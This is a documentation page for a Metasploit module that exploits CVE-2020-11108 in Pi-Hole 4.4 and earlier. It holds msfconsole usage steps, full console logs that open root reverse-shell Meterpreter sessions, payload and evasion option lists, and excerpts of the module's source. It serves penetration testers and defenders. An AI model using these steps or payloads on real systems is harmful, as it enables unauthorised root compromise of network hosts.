Pi-Hole heisenbergCompensator Blocklist OS Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/http/pihole_blocklist_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Pi-Hole heisenbergCompensator Blocklist OS Command Execution
Module: exploit/unix/http/pihole_blocklist_exec
Source code: modules/exploits/unix/http/pihole_blocklist_exec.rb
Disclosure date: 2020-05-10
Last modification time: 2022-10-03 19:50:04 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-11108
This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an update is forced (gravity) to pull in the blocklist content. PHP content is then written to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter, effectively running a priv esc. Phase 2 writes our payload to teleporter.php, overwriting, the content. Lastly, the phase 1 PHP file is called in the web root, which launches our payload in teleporter.php with root privileges.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
msf > use exploit/unix/http/pihole_blocklist_exec
msf exploit(pihole_blocklist_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an update is forced (gravity) to pull in the blocklist content. PHP content is then written to a file within the webroot.
Phase 1 writes a sudo pihole command to launch teleporter, effectively running a priv esc.
Phase 2 writes our payload to teleporter.php
, overwriting, the content.
Lastly, the phase 1 PHP file is called in the web root, which launches
our payload in teleporter.php
with root privileges.
A more detailed writeup is available from the original author.
Due to encodings, a local web server is required to be running on port 80
.
Two blocklist is left within Pi-Hole and should be removed.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/unix/http/pihole_blocklist_exec
- Do:
set srvhost [IP]
- Do:
set rhost [IP]
- Do:
run
- You should get a root shell.
Options
Password
Password for the web interface. Randomly set on install. Use pihole -a -p
to change/remove it.
Scenarios
Pi-Hole 4.3.2 on Ubuntu 18.04
[*] Processing pihole.rb for ERB directives.
resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec
resource (pihole.rb)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (pihole.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (pihole.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pihole.rb)> set srvhost 1.1.1.1
srvhost => 1.1.1.1
resource (pihole.rb)> set srvport 80
srvport => 80
resource (pihole.rb)> set verbose true
verbose => true
resource (pihole.rb)> exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.3.2
[*] Using URL: http://1.1.1.1:80/
[*] Using cookie: PHPSESSID=45abdcp4rsc9bpi9tchi88ejnn;
[*] Using token: WzmrFbksWxIbtuSVeyrf8yv9o541UdhueLN+BRXfUmY=
[*] Adding backdoor reference
[*] Forcing gravity pull
[*] (1/2) Sending priv esc trigger
[*] Adding root reference
[*] Forcing gravity pull
[*] (2/2) Sending root payload
[*] Popping root shell
[*] Sending stage (38288 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:57982) at 2020-05-12 22:30:38 -0400
[+] Deleted cdJWzln.php
[*] Server stopped.
msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root (0)
meterpreter > sysinfo
Computer : pihole
OS : Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_64
Meterpreter : php/linux
Pi-Hole 4.4 on Ubuntu 18.04
[*] Processing pihole.rb for ERB directives.
resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec
resource (pihole.rb)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (pihole.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (pihole.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pihole.rb)> set srvhost 1.1.1.1
srvhost => 1.1.1.1
resource (pihole.rb)> set srvport 80
srvport => 80
resource (pihole.rb)> set verbose true
verbose => true
resource (pihole.rb)> exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.4
[*] Using URL: http://1.1.1.1:80/
[*] Using cookie: PHPSESSID=uee4gcfsjk5m8289m4uk4rv1du;
[*] Using token: uO4ha1e0fy+Qwvoq14XgslT3Z+VJ/h2RR3qyVT6dPz8=
[*] Adding backdoor reference
[*] Forcing gravity pull
[*] Received GET request. Responding
[*] Sending 2nd gravity update request.
[*] Forcing gravity pull
[*] (1/2) Sending priv esc trigger
[*] Adding root reference
[*] Forcing gravity pull
[*] Received GET request. Responding
[*] Sending 2nd gravity update request.
[*] Forcing gravity pull
[*] (2/2) Sending root payload
[*] Popping root shell
[*] Sending stage (38288 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:48636) at 2020-05-13 20:34:33 -0400
[+] Deleted VRwxqyhs.php
msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root (0)
meterpreter > sysinfo
Computer : pihole
OS : Linux pihole 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter >
[*] Blocklists must be removed manually from /admin/settings.php?tab=blocklists
[*] Server stopped.
Go back to menu.
Msfconsole Usage
Here is how the unix/http/pihole_blocklist_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/http/pihole_blocklist_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/http/pihole_blocklist_exec) > show info
Name: Pi-Hole heisenbergCompensator Blocklist OS Command Execution
Module: exploit/unix/http/pihole_blocklist_exec
Platform: PHP
Arch: php
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-05-10
Provided by:
h00die
Nick Frichette
Module side effects:
artifacts-on-disk
config-changes
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password for Pi-Hole interface
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 80 yes Web Server Port, must be 80
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the Pi-Hole Website
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This exploits a command execution in Pi-Hole <= 4.4. A new blocklist
is added, and then an update is forced (gravity) to pull in the
blocklist content. PHP content is then written to a file within the
webroot. Phase 1 writes a sudo pihole command to launch teleporter,
effectively running a priv esc. Phase 2 writes our payload to
teleporter.php, overwriting, the content. Lastly, the phase 1 PHP
file is called in the web root, which launches our payload in
teleporter.php with root privileges.
References:
https://www.exploit-db.com/exploits/48443
https://www.exploit-db.com/exploits/48442
https://frichetten.com/blog/cve-2020-11108-pihole-rce/
https://github.com/frichetten/CVE-2020-11108-PoC
https://nvd.nist.gov/vuln/detail/CVE-2020-11108
Module Options
This is a complete list of options available in the unix/http/pihole_blocklist_exec exploit:
msf6 exploit(unix/http/pihole_blocklist_exec) > show options
Module options (exploit/unix/http/pihole_blocklist_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password for Pi-Hole interface
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 80 yes Web Server Port, must be 80
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the Pi-Hole Website
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the unix/http/pihole_blocklist_exec exploit:
msf6 exploit(unix/http/pihole_blocklist_exec) > show advanced
Module advanced options (exploit/unix/http/pihole_blocklist_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/http/pihole_blocklist_exec module can exploit:
msf6 exploit(unix/http/pihole_blocklist_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/pihole_blocklist_exec exploit:
msf6 exploit(unix/http/pihole_blocklist_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the unix/http/pihole_blocklist_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/http/pihole_blocklist_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PEER> - Could not connect to web service - no response
- <PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>
- Version Detected: <VERSION>
- <PEER> - Could not connect to the web service
- Target is not vulnerable
- SRVPORT must be set to 80 for exploitation to be successful
- SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful
- Incorrect Password
- Unable to find token
- <PEER> - Could not connect to the web service
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
93: begin
94: res = send_request_cgi(
95: 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
96: 'method' => 'GET'
97: )
98: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
99: fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
100:
101: # <b>Pi-hole Version <\/b> v4.3.2 <b>
102: # <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>
103: %r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d.]+).*<b>} =~ res.body
<PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>
Here is a relevant code snippet related to the "<PEER> - Check URI Path, unexpected HTTP response code: <RES.CODE>" error message:
94: res = send_request_cgi(
95: 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
96: 'method' => 'GET'
97: )
98: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
99: fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
100:
101: # <b>Pi-hole Version <\/b> v4.3.2 <b>
102: # <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>
103: %r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d.]+).*<b>} =~ res.body
104:
Version Detected: <VERSION>
Here is a relevant code snippet related to the "Version Detected: <VERSION>" error message:
104:
105: if version && Rex::Version.new(version) <= Rex::Version.new('4.4')
106: vprint_good("Version Detected: #{version}")
107: return CheckCode::Appears
108: else
109: vprint_bad("Version Detected: #{version}")
110: return CheckCode::Safe
111: end
112: rescue ::Rex::ConnectionError
113: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
114: end
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
108: else
109: vprint_bad("Version Detected: #{version}")
110: return CheckCode::Safe
111: end
112: rescue ::Rex::ConnectionError
113: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
114: end
115: CheckCode::Safe
116: end
117:
118: def add_blocklist(file, token, cookie)
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
168: )
169: end
170:
171: def exploit
172: if check != CheckCode::Appears
173: fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
174: end
175:
176: if datastore['SRVPORT'] != 80
177: fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
178: end
SRVPORT must be set to 80 for exploitation to be successful
Here is a relevant code snippet related to the "SRVPORT must be set to 80 for exploitation to be successful" error message:
172: if check != CheckCode::Appears
173: fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
174: end
175:
176: if datastore['SRVPORT'] != 80
177: fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
178: end
179:
180: if datastore['SRVHOST'] == '0.0.0.0'
181: fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
182: end
SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful
Here is a relevant code snippet related to the "SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful" error message:
176: if datastore['SRVPORT'] != 80
177: fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
178: end
179:
180: if datastore['SRVHOST'] == '0.0.0.0'
181: fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
182: end
183:
184: start_service({
185: 'Uri' => {
186: 'Proc' => proc do |cli, req|
Incorrect Password
Here is a relevant code snippet related to the "Incorrect Password" error message:
211: if res && res.body.include?('Sign in to start your session')
212: res = login(cookie)
213: end
214:
215: if res && res.body.include?('Sign in to start your session')
216: fail_with(Failure::BadConfig, 'Incorrect Password')
217: end
218:
219: # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
220: # may also include /
221: %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
Unable to find token
Here is a relevant code snippet related to the "Unable to find token" error message:
219: # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
220: # may also include /
221: %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
222:
223: unless token
224: fail_with(Failure::UnexpectedReply, 'Unable to find token')
225: end
226: print_status("Using token: #{token}")
227:
228: # plant backdoor
229: backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
249: update_gravity(cookie)
250: end
251:
252: # pop shell
253: execute_shell(backdoor_name, cookie)
254: print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
255: rescue ::Rex::ConnectionError
256: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
257: end
258: end
259: end
Go back to menu.
Related Pull Requests
- #15192 Merged Pull Request: Enforce Style/RedundantBegin for new modules
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13445 Merged Pull Request: Pi-Hole <= 4.4 root RCE CVE-2020-11108
References
- EDB-48443
- EDB-48442
- https://frichetten.com/blog/cve-2020-11108-pihole-rce/
- https://github.com/frichetten/CVE-2020-11108-PoC
- CVE-2020-11108
See Also
Check also the following modules related to this module:
- exploit/unix/http/pihole_dhcp_mac_exec
- exploit/unix/http/pihole_whitelist_exec
- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/contentkeeperweb_mimencode
- exploit/unix/http/ctek_skyrouter
- exploit/unix/http/dell_kace_k1000_upload
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- exploit/unix/http/freepbx_callmenum
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/http/lifesize_room
- exploit/unix/http/pfsense_clickjacking
- exploit/unix/http/pfsense_diag_routes_webshell
- exploit/unix/http/pfsense_graph_injection_exec
- exploit/unix/http/pfsense_group_member_exec
- exploit/unix/http/pfsense_pfblockerng_webshell
- exploit/unix/http/quest_kace_systems_management_rce
- exploit/unix/http/schneider_electric_net55xx_encoder
- exploit/unix/http/tnftp_savefile
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/http/zivif_ipcheck_exec
- auxiliary/admin/http/pihole_domains_api_exec
- exploit/linux/local/pihole_remove_commands_lpe
Authors
- h00die
- Nick Frichette
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.